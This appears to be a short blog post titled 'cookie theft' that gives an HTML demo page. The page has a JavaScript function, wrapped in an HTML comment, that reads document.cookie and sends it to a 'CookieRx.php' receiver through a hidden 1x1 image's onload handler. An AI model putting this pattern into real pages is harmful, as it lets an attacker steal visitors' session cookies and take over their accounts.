cookie theft
<!--
<script language="javascript">
function postCookie() {
// Cookies are sent to another server/file
testImage = new Image();
testImage.src = "CookieRx.php?cookieStr=" + document.cookie;
document.hiddenImage.src =testImage.src;
}
</script>
-->
<h1>Cookie Example 1</h1>
<font size=+2 face = verdana>
</font>
<form name="cookieForm" method="post"
>
Cookie Name<input type="text" name="cname"
size="30">
Cookie value <input type="text" name="cvalue"
size="30">
<input type="text" size="50" name="cookies"
/>
<input type="submit" value="DoSubmit">
<script language="javascript" >
//just to display cookie in text field.
document.cookieForm.cookies.value = document.cookie ;
</script>
</form>
<img name="hiddenImage" width="1" height="1"
onload="javascript:postCookie()">
</body>
0 Comments:
Post a Comment
<< Home